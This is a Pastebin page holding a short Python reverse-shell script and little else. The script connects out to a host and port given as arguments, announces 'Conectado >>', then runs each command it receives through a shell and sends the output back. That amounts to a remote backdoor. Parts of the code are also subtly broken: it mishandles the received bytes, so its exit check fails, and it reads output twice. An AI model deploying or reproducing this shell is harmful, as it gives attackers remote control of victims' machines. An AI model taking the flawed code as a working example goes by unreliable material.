Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, subprocess as sp, sys
- host = str(sys.argv[1])
- port = int(sys.argv[2])
- conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- conn.connect((host,port))
- conn.send(bytes('Conectado >>', 'utf-8'))
- while 1:
- recvd = conn.recv(1024)
- for c in recvd:
- format(c, "02X")
- command = str(recvd)
- if command != "exit()":
- proc = sp.Popen(command, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
- saida = proc.stdout.read() + proc.stderr.read()
- out, err = proc.communicate()
- result = str(out) + str(err)
- length = str(len(result)).zfill(16)
- c = conn.send(bytes(result + length, '\n' 'utf-8'))
- print(c)
- else:
- break
- conn.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement